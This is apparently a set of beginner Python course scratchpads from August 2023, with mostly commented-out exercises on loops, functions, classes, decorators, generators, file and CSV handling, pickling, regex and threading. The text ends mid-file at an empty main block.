Python August 2023

Python August 2023

Scratchpad 1-9

print("Hello World")

# player_one_high_score = 10
# playerOneHighScore = 10
# PlayerOneHighScore = 10
# player-one-high-score = 10

player_one_high_score: int = 10

# name = "John Doe"
# # print(name.lower().find('doe'))

# name.find("Doe").upper()

# # print("Enter amount in INR for conversion to USD: ")
# inr = float(input("Enter amount in INR for conversion to USD: "))
# usd = inr * 82.231

# print(f"INR {inr} when converted to USD is {usd}")

# city = input("Enter your city: ")

# if city == "mumbai":
#     print("That's a great city")
# elif city == "delhi":
#     print("That's a bad city")
# elif city == "pune":
#     print("That's close")
# else:
#     print("I don't know that city")

# print("This is after the conditional statement above")

# age = int(input("Please enter your age: "))

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you cannot drink")
# else:
#     print("You are not allowed")

logged_in_user = "john123"

if logged_in_user:
    print("Welcome to the site")
else:
    print("You have to login to view this page")

# # age = input("Please enter your age: ")

# # if age:
# #     age = int(age)
# #     if age >= 18 and age < 21:
# #         print("You can enter but you cannot drink")
# #     elif age >= 21 and age < 65:
# #         print("You can enter and you can drink")
# #     elif age >= 65:
# #         print("Drinks are free")
# #     else:
# #         print("You are not allowed")
# # else:
# #     print("Please enter a value")

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")

# if player1 == player2:
#     print("Draw")
# elif ((player1 == "rock" and player2 == "scissor")
#       or (player1 == "paper" and player2 == "rock")
#       or (player1 == "scissor" and player2 == "paper")):
#     print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissor")
#       or (player2 == "paper" and player1 == "rock")
#       or (player2 == "scissor" and player1 == "paper")):
#     print("Player 2 wins")
# else:
#     print("Please enter a valid value")

# # if player1 == "rock":
# #     if player2 == "paper":
# #         print("Player 2 wins")
# #     elif player2 == "scissor":
# #         print("Player 1 wins")

# # elif player1 == "paper":
# #     if

# for char in "hello world":
#     print(char, "HELLO")

# for num in range(0, 10):
#     print(num)
#     print("..........")

# for num in range(0, 101):
#     print(num)

# for num in range(5):
#     print(num)

# for num in range(0, 100, 5):
#     print(num)

# for num in range(10, 0, -2):
#     print(num)

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print("FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 == 1:
#         print(f"{num} - Fizz is odd")

password = input("Please enter your password: ")

while password != "helloworld":
    print("Incorrect password!")
    password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while password != "helloworld":
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# for num in range(10):
#     print(num)

# count = 0
# while count < 10:
#     print(count)
#     count += 1

# password = input("Please enter your password: ")

# while password != "helloworld":
#     if password == 'quit':
#         break
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while True:
#     if password == 'helloworld':
#         break
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# while True:
#     player1 = input("Enter player 1's choice: ")
#     player2 = input("Enter player 2's choice: ")

#     if player1 == player2:
#         print("Draw")
#     elif ((player1 == "rock" and player2 == "scissor")
#           or (player1 == "paper" and player2 == "rock")
#           or (player1 == "scissor" and player2 == "paper")):
#         print("Player 1 wins")
#     elif ((player2 == "rock" and player1 == "scissor")
#           or (player2 == "paper" and player1 == "rock")
#           or (player2 == "scissor" and player1 == "paper")):
#         print("Player 2 wins")
#     else:
#         print("Please enter a valid value")

#     answer = input("Do you want to play again? (y/n) ")
#     if answer != 'y':
#         break

langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

for lang in langs:
    print(lang)

# count = 0
# while count < len(langs):
#     print(langs[count])
#     count += 1

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # doubles = [num * 2 for num in nums] # [2, 4, 6]

# # # doubles = []

# # # for num in nums:
# # #     doubles.append(num * 2)

# # print(doubles)

# # names = ["john", "jack", "jane", "jill", "jim"]

# # upper_names = [name.upper() for name in names]

# # # upper_names = []

# # # for name in names:
# # #     upper_names.append(name.upper())

# # print(upper_names)

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # result = [num for num in nums if num % 2 == 0]
# # print(result)

# # names = ["john", "jack", "jane", "jill", "jim"]

# # result = [name for name in names if len(name) <= 3]
# # print(result)

# # message = "Hello World"

# # result = [char for char in message if char in "aeiou"]
# # print("".join(result))

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # result = [num * 2 if num % 2 == 1 else num / 2 for num in nums]
# # print(result)

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9, 10]]

# # # for lst in nested_list:
# # #     for num in lst:
# # #         print(num)

# # total = 0

# # for lst in nested_list:
# #     for num in lst:
# #         total += num

# # print(total)

# nested_list = [[[1, 2, 3], [1, 2, 3, 34], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]

# # total
# # evens_total
# # new_odd_list

product = [
    "iPhone 14 pro max", "Apple", "Some description...", 500, 150000, True
]

product = {
    "name": "iPhone 14 pro max",
    "price": 150000,
    "brand": "Apple",
    "description": "Some description...",
    "in_stock": 500,
    "discounted": True,
    1: "hello"
}

product = {
    "name": "iPhone 14 pro max",
    "price": 150000,
    "brand": "Apple",
    "description": "Some description...",
    "in_stock": 500,
    "discounted": True,
}

for key, value in product.items():
    print(key, value)

# for item in product.items():
#     print(item[0], item[1])

# print(product.items())

# for key in product.keys():
#     print(key, product[key])

# # for value in product.values():
# #     print(value)

# for key in product:
#     print(key, product[key])

# def greet():
#     print("Hello World")
#     print("Hello Galaxy")

# greet()
# greet()
# greet()

import random

# def flip_coin():
#     num = random.random()
#     if num > 0.5:
#         print("HEADS")
#     else:
#         print("TAILS")

# def throw_dice():
#     num = random.randint(1, 7)
#     print(num)

# # flip_coin()
# throw_dice()

# def throw_dice():
#     num = random.randint(1, 7)
#     return num

# print(throw_dice())

# def greet(name):
#     return f"Hello {name}"

# print(greet("John"))
# print(greet("Jane"))

# def add(a, b):
#     return a + b

# print(add(10, 6))

# def sum_odd_nums(numbers):
#     total = 0
#     for num in numbers:
#         if num % 2 != 0:
#             total += num
#     return total

# print(sum_odd_nums([1, 2, 3, 4, 5]))

# def is_odd_num(number):
#     if number % 2 == 1:
#         return True
#     return False

# print(is_odd_num(11))

# def exponent(num=1, power=1):
#     return num**power

# print(exponent())

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn=add):
#     return fn(a, b)

# print(math(10, 5))

# def full_name(first, last):
#     return "Your name is " + first + " " + last + "."

# # print(full_name("Doe", "Jane"))
# print(full_name(last="Doe", first="Jane"))

# full_name = "John Doe"  # global scope


def greet():
    full_name = "Jane Doe"
    print(full_name)  # local scope


greet()
print(full_name)

Scratchpad 10-14

# total = 0

# def func():
#     global total
#     total += 10
#     print(total)

# func()
# print(total)

# def outer():
#     count = 0

#     def inner():
#         nonlocal count
#         count += 10
#         print(count)

#     inner()

# outer()


def greet(name, message):
    """Greet function accepts `name` and `message` which are strings and return a greeting string.

    @Params
        name: str
        message: str

    @Returns:
        str:
    """
    return f"{message} {name}"


# print(greet("John", "Hello,"))
# print(greet.__doc__)

print([].pop.__doc__)


# def add(a, b, *nums):
#     print(a)
#     print(b)
#     print(nums)
#     # total = 0
#     # for num in nums:
#     #     total += num
#     # return total

# print(add(10, 5, 6, 32, 1, 3, -2, 23, 2231, 122, 3, 2))

# def profile(first, last):
#     print(first)
#     print(last)

# def profile(**data):
#     for key in data:
#         print(key, data[key])

# profile(first="John", last="Doe", age=20, job_title='Dev')

# def dummy(a, b, c, *args, role="admin", **kwargs):
#     print(a, b, c, args, role, kwargs)

# dummy(10,
#       20,
#       30,
#       40,
#       50,
#       60,
#       100,
#       hello="world",
#       test="message",
#       role="moderator")

# def add(*nums):  # ([10, 20, 30, 40, 50])
#     total = 0
#     for num in nums:
#         total += num
#     return total

# vals = [10, 20, 30, 40, 50]

# # print(add(vals[0], vals[1], vals[2], vals[3], vals[4]))
# print(add(*vals))

# def say_name(first, last):
#     print(f"My name is {first} {last}.")

# profile = {"first": "Jane", "last": "Doe"}
# # say_name(profile["first_name"], profile["last_name"])
# say_name(**profile)  # say_name(first="Jane", last="Doe")

# def add(a, b):
#     return a + b

# sub = lambda a, b: a - b

# print(sub(10, 2))

# print(add(10, 4))
# hello = add
# print(hello(10, 2))

# def math(a, b, fn):
#     return fn(a, b)

# def mul(a, b):
#     return a * b

# print(math(10, 3, lambda a, b: a * b))
# print(math(10, 3, mul))

# nums = [1, 2, 3, 4, 5]

# # doubles = [num * 2 for num in nums]
# # doubles = map(lambda num: num * 2, nums)
# # evens = [num for num in nums if num % 2 == 0]
# evens = filter(lambda num: num % 2 == 0, nums)

# # print(list(doubles))
# # print(evens)
# print(list(evens))

names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']

filtered_name = filter(lambda name: len(name) < 5, names)
result = list(map(lambda name: f"The one who wins is {name}", filtered_name))
print(result)


# import random

# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
#               "Queen", "King")

# NCARDS = 8

# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card

# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out

# print("Welcome to higher or lower.")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card."
# )
# print(
#     "Getting it right adds 20 points; get it wrong and you will lose 15 points."
# )
# print("You have 50 points to start.")
# print()

# starting_deck_list = []
# for suit in SUIT_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)

#     current_card_rank = current_card_dict["rank"]
#     current_card_suit = current_card_dict["suit"]
#     current_card_value = current_card_dict["value"]

#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARDS):
#         answer = input(
#             f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.lower()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_suit = next_card_dict["suit"]
#         next_card_value = next_card_dict["value"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == 'h':
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == "l":
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is: {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_suit = next_card_suit
#         current_card_value = next_card_value

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == 'q':
#         break

# print("Thank you for playing!")

# def colorize(text, color):
#     colors = ("red", "yellow", "blue", "green", "purple")

#     if type(text) is not str:
#         raise TypeError("Text must be a string")

#     if type(color) is not str:
#         raise TypeError("Color must be a string")

#     if color not in colors:
#         # raise Exception("The provided color is invalid")
#         raise ValueError("The provided color is invalid")

#     print(f"Printed {text} in {color}")

# try:
#     colorize(100, "red")
# except Exception as err:
#     print(err)
# except (ValueError, TypeError) as err:
#     print(err, "Something went wrong")
# except:
#     print("Something went wrong")


def colorize(text, color):
    colors = ("red", "yellow", "blue", "green", "purple")

    if type(text) is not str:
        raise TypeError("Text must be a string")

    if type(color) is not str:
        raise TypeError("Color must be a string")

    if color not in colors:
        # raise Exception("The provided color is invalid")
        raise ValueError("The provided color is invalid")

    return f"Printed {text} in {color}"


try:
    result = colorize("Hello World", "red")
except Exception as err:
    print(err)
else:
    print(result)
finally:
    print("THis will always run")


# import random as r

# def random():
#     return "RANDOM NUM"

# from random import randint as ri, random, choice, shuffle
# # from random import *

# print(ri(10, 100))
# print(random())

# # import file1
# from file1 import hello_world

# # file1.hello_world("John Doe")
# hello_world("Jane Doe")

# print("This is in scratchpad_13.py. This is the value of __name__ =", __name__)

# str     -> value
#         -> methods

# Object
#

# def user(first_name, last_name, email):
#     return {"first_name": first_name, "last_name": last_name, "email": email}

# def greet(user_dict):
#     print(
#         f"Hello, my name is {user_dict['first_name']} {user_dict['last_name']}"
#     )

# john = user("John", "Doe", "john@gmail.com")
# greet(john)

# print(john)


def user(first_name, last_name, email):

    def greet():
        print(f"Hello, my name is {first_name} {last_name}")

    return {
        "first_name": first_name,
        "last_name": last_name,
        "email": email,
        "greet": greet
    }


class User:

    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email

    def greet(self):
        print(f"Hello, my name is {self.first_name} {self.last_name}")


john = user("John", "Doe", "john@gmail.com")
jane = User("Jane", "Smith", "jane.smith@gmail.com")

print(john["first_name"])
print(jane.first_name)
print("----------")
john["greet"]()
jane.greet()
print("----------")
print(type(john))
print(type(jane))

# "hello".upper()

# upper(10)

# a = []

# array_push(a, "hello")

# a.append("21839789123")


# a = []
# a.append(100)


class User:
    default_city = "New York"
    total = 0

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.city = "Mumbai"
        User.total += 1

    def get_age(self):
        return self._age

    def set_age(self, new_age):
        if new_age >= 18 and new_age < 100:
            self._age = new_age
        else:
            raise ValueError("Please enter a valid age")


john = User("John", "Doe", 20)
jane = User("Jane", "Smith", 20)

# print(john.default_city)
# print(jane.default_city)
# print(User.default_city)
print(User.total)

# john.__age = 500000000000000000000000000000000000000000
# john.set_age(300000000000)
# print(john.__age__)
# jane.city = "Delhi"
# print(jane.city)
# print(john.city)

# print(john)
# print(john.first_name, john.last_name, john.get_age())
# print(type(john))

Scratchpad 15-18

# class Math:

#     @classmethod
#     def add(cls, a, b):
#         return a + b

#     @classmethod
#     def sub(cls, a, b):
#         return a - b

# print(Math.add(10, 4))
# print(Math.sub(10, 4))

# class User:
#     default_city = "New York"
#     total = 0

#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._age = age
#         self.city = "Mumbai"
#         User.total += 1

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     @classmethod
#     def get_total_users(cls):
#         return cls.total

# def get_age(self):
#     return self._age

# def set_age(self, new_age):
#     if new_age >= 18 and new_age < 100:
#         self._age = new_age
#     else:
#         raise ValueError("Please enter a valid age")

# john = User("John", "Doe", 20)
# print(john)

# print(john.get_age())

# print(User.get_age())

# print(User.get_total_users())

# class User:

#     def __init__(self, first_name, last_name, age, email, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._age = age
#         self.email = email
#         self._password = password

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     def login(self, password):
#         if self._password == password:
#             print(f"{self.email} has successfully logged in")
#             return True
#         raise ValueError("Incorrect password")

#     def logout(self):
#         print(f"{self.email} has successfully logged in")
#         return True

#     @property
#     def age(self):
#         return self._age

#     @age.setter
#     def age(self, new_age):
#         if new_age >= 18 and new_age < 100:
#             self._age = new_age
#         else:
#             raise ValueError("Please enter a valid age")

#     # def get_age(self):
#     #     return self._age

#     # def set_age(self, new_age):
#     #     if new_age >= 18 and new_age < 100:
#     #         self._age = new_age
#     #     else:
#     #         raise ValueError("Please enter a valid age")

# class Moderator(User):

#     def __init__(self, first_name, last_name, age, email, password, phone):
#         super().__init__(first_name, last_name, age, email, password)
#         self.phone = phone

#     def create_group(self, group_name):
#         print(f"{group_name} group was created")

# john = User("John", "Doe", 20, "john.doe@gmail.com", "123456")
# jane = Moderator("Jane", "Smith", 20, "jane.smith@gmail.com", "123456",
#                  "+91 9876654321")

# jane.create_group("Python")
# print(jane.first_name)

# john.set_age(50)
# print(john.get_age())

# john.age = 30

# print(john.age)
# print(jane.phone)

# class Human:

#     def __init__(self, name):
#         self.name = name

#     def greet(self):
#         print("Hello World")

# class Animal:

#     def __init__(self, name):
#         self.name = name

#     def greet(self):
#         print("AJndslkjansdasdl")

# class Mutant(Human, Animal):

#     def greet(self):
#         print("TEST")

# john = Human("John Doe")
# tom = Animal("Tom")
# scott = Mutant("Scott Summers")

# john.greet()
# tom.greet()
# scott.greet()

# # print(Mutant.__mro__)


class User:

    def __init__(self, first_name, last_name, age, email, password):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self._password = password

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def __len__(self):
        return self._age

    def __add__(self, other_user):
        return User("new", "born", 0, "new_born@parent.com", "123243")

    def login(self, password):
        if self._password == password:
            print(f"{self.email} has successfully logged in")
            return True
        raise ValueError("Incorrect password")

    def logout(self):
        print(f"{self.email} has successfully logged in")
        return True

    @property
    def age(self):
        return self._age

    @age.setter
    def age(self, new_age):
        if new_age >= 18 and new_age < 100:
            self._age = new_age
        else:
            raise ValueError("Please enter a valid age")


class Moderator(User):

    def __init__(self, first_name, last_name, age, email, password, phone):
        super().__init__(first_name, last_name, age, email, password)
        self.phone = phone

    def create_group(self, group_name):
        print(f"{group_name} group was created")


john = User("John", "Doe", 20, "john.doe@gmail.com", "123456")
jane = User("Jane", "Smith", 20, "jane.smith@gmail.com", "123456")
# jane = Moderator("Jane", "Smith", 20, "jane.smith@gmail.com", "123456",
#                  "+91 9876654321")

# print(len("hello"))
# print(len([1, 2, 3, 4, 56, 67, 7]))
# print(len(john))

print(1 + 2)
print("hello" + "world")
print(john + jane)


# # name = "John Doe"

# # for char = next(name) in name = iter(name):
# #     print(char)

# # def myfor(iterable):
# #     iterator = iter(iterable)

# #     while True:
# #         try:
# #             print(next(iterator))
# #         except StopIteration:
# #             break

# # a = [1, 2, 3, 4]

# # myfor(a)

# # for num in a:
# #     print(num)

# # r = range(10)

# # for num in r:
# #     print(num)

# class Counter:

#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration

# c = Counter(0, 10)

# for num in c:
#     print(num)

# def counter(start, end, step=1):
#     while start < end:
#         yield start
#         start += step

# result = counter(0, 10, 2)

# for num in result:
#     print(num)

# # print(next(result))
# # print(next(result))

# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(a)
#         a, b = b, a + b
#     return nums

# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1

# # result = fib_list(10000000000000000000)
# result = fib_gen(
#     1000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# )

# # print(result)

# for num in result:
#     print(num)

import time

gen_start_time = time.time()  # current time
print(sum(num for num in range(100000000)))
gen_time = time.time() - gen_start_time

list_start_time = time.time()  # current time
print(sum([num for num in range(100000000)]))
list_time = time.time() - list_start_time

print(f"generator took - {gen_time}")
print(f"list comprehension took - {list_time}")


# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn):
#     return fn(a, b)

# print(math(10, 5, sub))

# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total

# def square(num):
#     return num**2

# print(sum(10, square))

import random

# def greet(person):

#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()} {person}"
#     return result

# print(greet("John"))

# def make_greet_func(person):

#     def make_message():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return f"{msg} {person}"

#     return make_message

# greet_jane = make_greet_func("jane")
# greet_john = make_greet_func("john")

# print(greet_jane())
# print(greet_john())

from functools import wraps


def stars(fn):
    """Decorator that prints stars around"""

    @wraps(fn)
    def wrapper(*args, **kwargs):
        """Wrapper function"""
        print("*" * 10)
        fn(*args, **kwargs)
        print("*" * 10)

    return wrapper


@stars
def greet(message, person):
    """Function that accepts a message and a name and greets it"""
    print(f"{message} {person}")


# greet = stars(greet)
# greet("hi", "Jack")
print(greet.__doc__)
print(greet.__name__)

# from pprint import pprint
# from datetime import datetime

# class Company:

#     def __init__(self, name, address, phone_nos, email,
#                  company_registration_code):
#         self.name = name
#         self.address = address
#         self.phone_nos = phone_nos
#         self.email = email
#         self.company_registration_code = company_registration_code
#         self.employees = []

#     def __repr__(self):
#         return self.name

#     def create_employee(self, first_name, middle_name, last_name, address,
#                         aadhar_card_no, pan_card_no, phone, email):
#         if not all([
#                 first_name, middle_name, last_name, address, aadhar_card_no,
#                 pan_card_no, phone, email
#         ]):
#             raise ValueError("All fields are required to create an employee")

#         new_employee = Employee(first_name, middle_name, last_name, address,
#                                 aadhar_card_no, pan_card_no, phone, email)
#         self.employees.append(new_employee)
#         return new_employee

# class Employee:

#     def __init__(self, first_name, middle_name, last_name, address,
#                  aadhar_card_no, pan_card_no, phone, email):
#         self.first_name = first_name
#         self.middle_name = middle_name
#         self.last_name = last_name
#         self.address = address
#         self.aadhar_card_no = aadhar_card_no
#         self.pan_card_no = pan_card_no
#         self.phone = phone
#         self.email = email
#         self.attendance = []

#     def __repr__(self):
#         return self.first_name + " " + self.middle_name + " " + self.last_name

#     def get_full_name(self):
#         return f"{self.first_name} {self.middle_name} {self.last_name}"

#     def get_details(self):
#         return {
#             "first_name": self.first_name,
#             "middle_name": self.middle_name,
#             "last_name": self.last_name,
#             "address": self.address,
#             "aadhar_card_no": self.aadhar_card_no,
#             "pan_card_no": self.pan_card_no,
#             "phone": self.phone,
#             "email": self.email
#         }

#     def edit_details(self,
#                      first_name=None,
#                      middle_name=None,
#                      last_name=None,
#                      address=None,
#                      phone=None,
#                      email=None,
#                      aadhar_card_no=None,
#                      pan_card_no=None):
#         if first_name:
#             self.first_name = first_name
#         if middle_name:
#             self.middle_name = middle_name
#         if last_name:
#             self.last_name = last_name
#         if address:
#             self.address = address
#         if phone:
#             self.phone = phone
#         if email:
#             self.email = email
#         if aadhar_card_no:
#             self.aadhar_card_no = aadhar_card_no
#         if pan_card_no:
#             self.pan_card_no = pan_card_no

#     def punch_in(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'in'})

#     def punch_out(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'out'})

# acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002",
#                ["+91 9876654321", "+91 022 24567890"], "support@acmecorp.com",
#                "ASD78978AVG")

# john = acme.create_employee(
#     "John", "Jack", "Doe",
#     "New Haven, 201 Hello World Street, Sion, Mumbai 400001",
#     "89679879897987987987", "YHUI78682", "+91 8765543213", "john@gmail.com")

# # print(acme.employees)
# # print(john)
# pprint(john.get_details())
# print()
# john.edit_details(middle_name="Jane")
# pprint(john.get_details())

# file = open("hello.txt")
# print(file.read())
# # file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print(file.closed)

with open("hello.txt", "w") as file:
    file.write("hello universe\n" * 10)

# with open("hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("------")

# with open("hello.txt", "r") as file:
#     data = file.read()
#     data = data.replace("universe", "solar system")

# with open("hello.txt", "w") as file:
#     file.write(data)

Scratchpad 18-25

# from pprint import pprint
# from datetime import datetime

# class Company:

#     def __init__(self, name, address, phone_nos, email,
#                  company_registration_code):
#         self.name = name
#         self.address = address
#         self.phone_nos = phone_nos
#         self.email = email
#         self.company_registration_code = company_registration_code
#         self.employees = []

#     def __repr__(self):
#         return self.name

#     def create_employee(self, first_name, middle_name, last_name, address,
#                         aadhar_card_no, pan_card_no, phone, email):
#         if not all([
#                 first_name, middle_name, last_name, address, aadhar_card_no,
#                 pan_card_no, phone, email
#         ]):
#             raise ValueError("All fields are required to create an employee")

#         new_employee = Employee(first_name, middle_name, last_name, address,
#                                 aadhar_card_no, pan_card_no, phone, email)
#         self.employees.append(new_employee)
#         return new_employee

# class Employee:

#     def __init__(self, first_name, middle_name, last_name, address,
#                  aadhar_card_no, pan_card_no, phone, email):
#         self.first_name = first_name
#         self.middle_name = middle_name
#         self.last_name = last_name
#         self.address = address
#         self.aadhar_card_no = aadhar_card_no
#         self.pan_card_no = pan_card_no
#         self.phone = phone
#         self.email = email
#         self.attendance = []

#     def __repr__(self):
#         return self.first_name + " " + self.middle_name + " " + self.last_name

#     def get_full_name(self):
#         return f"{self.first_name} {self.middle_name} {self.last_name}"

#     def get_details(self):
#         return {
#             "first_name": self.first_name,
#             "middle_name": self.middle_name,
#             "last_name": self.last_name,
#             "address": self.address,
#             "aadhar_card_no": self.aadhar_card_no,
#             "pan_card_no": self.pan_card_no,
#             "phone": self.phone,
#             "email": self.email
#         }

#     def edit_details(self,
#                      first_name=None,
#                      middle_name=None,
#                      last_name=None,
#                      address=None,
#                      phone=None,
#                      email=None,
#                      aadhar_card_no=None,
#                      pan_card_no=None):
#         if first_name:
#             self.first_name = first_name
#         if middle_name:
#             self.middle_name = middle_name
#         if last_name:
#             self.last_name = last_name
#         if address:
#             self.address = address
#         if phone:
#             self.phone = phone
#         if email:
#             self.email = email
#         if aadhar_card_no:
#             self.aadhar_card_no = aadhar_card_no
#         if pan_card_no:
#             self.pan_card_no = pan_card_no

#     def punch_in(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'in'})

#     def punch_out(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'out'})

# acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002",
#                ["+91 9876654321", "+91 022 24567890"], "support@acmecorp.com",
#                "ASD78978AVG")

# john = acme.create_employee(
#     "John", "Jack", "Doe",
#     "New Haven, 201 Hello World Street, Sion, Mumbai 400001",
#     "89679879897987987987", "YHUI78682", "+91 8765543213", "john@gmail.com")

# # print(acme.employees)
# # print(john)
# pprint(john.get_details())
# print()
# john.edit_details(middle_name="Jane")
# pprint(john.get_details())

# file = open("hello.txt")
# print(file.read())
# # file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print(file.closed)

with open("hello.txt", "w") as file:
    file.write("hello universe\n" * 10)

# with open("hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("------")

# with open("hello.txt", "r") as file:
#     data = file.read()
#     data = data.replace("universe", "solar system")

# with open("hello.txt", "w") as file:
#     file.write(data)

# with open("test.csv") as file:
#     contents = file.read()
#     contents = contents.split('\n')[:-1]
#     contents = [val.split(',') for val in contents]
#     print(contents)

# from pprint import pprint
# from csv import reader, DictReader

# with open("test3.csv") as file:
#     # csv_reader = reader(file)
#     # csv_reader = DictReader(file, delimiter="|")
#     csv_reader = DictReader(file)
#     pprint(list(csv_reader))

# from csv import writer

# with open("test2.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(['First Name', 'Last Name', 'Email', 'Phone'])
#     csv_writer.writerow(['John', 'Doe', 'john@gmail.com', '+91 9823342567'])
#     csv_writer.writerow(['Jane', 'Smith', 'jane@gmail.com', '+91 9823342567'])

# from csv import DictWriter

# with open("test2.csv", "w", newline="") as file:
#     headers = ['First Name', 'Last Name', 'age']
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     csv_writer.writerow({
#         'First Name': 'John',
#         'Last Name': 'Smith',
#         'age': 20
#     })

import pickle
import json


class User:

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def greet(self):
        return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old"


# user1 = User("John", "Doe", 20)
# user2 = User("Jane", "Smith", 24)

# print(user2.__dict__)
# print(user1.__dict__)

# with open("users.pickle", "wb") as file:
#     pickle.dump((user1, user2), file)

# with open("users.pickle", "rb") as file:
#     restored_data = pickle.load(file)
#     print(restored_data[0].greet())

# print(json.dumps(user1.__dict__))

# # with open("users.json", "w") as file:

import jsonpickle

# with open("users.json", "w") as file:
#     data = jsonpickle.encode([user1, user2])
#     file.write(data)

with open("users.json") as file:
    data = file.read()
    users = jsonpickle.decode(data)
    print(users)

import re

# pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")

# res = pattern.search("Call us today on 022 23456754 or 022 2345 2342")
# if res:
#     print(res.group())
# else:
#     print("No match found")


# res = pattern.findall("Call us today on 022 23456754 or 022 2345 2342")
# print(res)

# def extract_phone(phone_no):
#     pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")
#     match = pattern.search(phone_no)
#     if match:
#         return match.group()
#     return None

# print(extract_phone("Call us today on 022 23456754 or 022 2345 2342"))

# def is_valid_landline(tel):
#     pattern = re.compile(r"^\d{3}\s\d{4}\s?\d{4}$")
#     match = pattern.search(tel)
#     if match:
#         return True
#     return False

# print(is_valid_landline("022 23456754"))


def is_valid_landline(tel):
    pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")
    match = pattern.fullmatch(tel)
    if match:
        return True
    return False

print(is_valid_landline("022 23456754"))



# class Customer:
#     @classmethod
#     def validate_pan_card(pan_card_no):
#         # LOGIC




from datetime import datetime
import threading
import multiprocessing

def dummy_func(x):
    print(f"Job-{x} started: {datetime.now()}")
    a = []
    for i in range(40000):
        for j in range(2000):
            a.append([i,j])
            a.clear()
    print(f"Job-{x} ended: {datetime.now()}")


# start_time = datetime.now()
# dummy_func(1)
# dummy_func(2)
# dummy_func(3)
# dummy_func(4)
# print(f"Total time taken: {datetime.now() - start_time}")

if __name__ == "__main__":
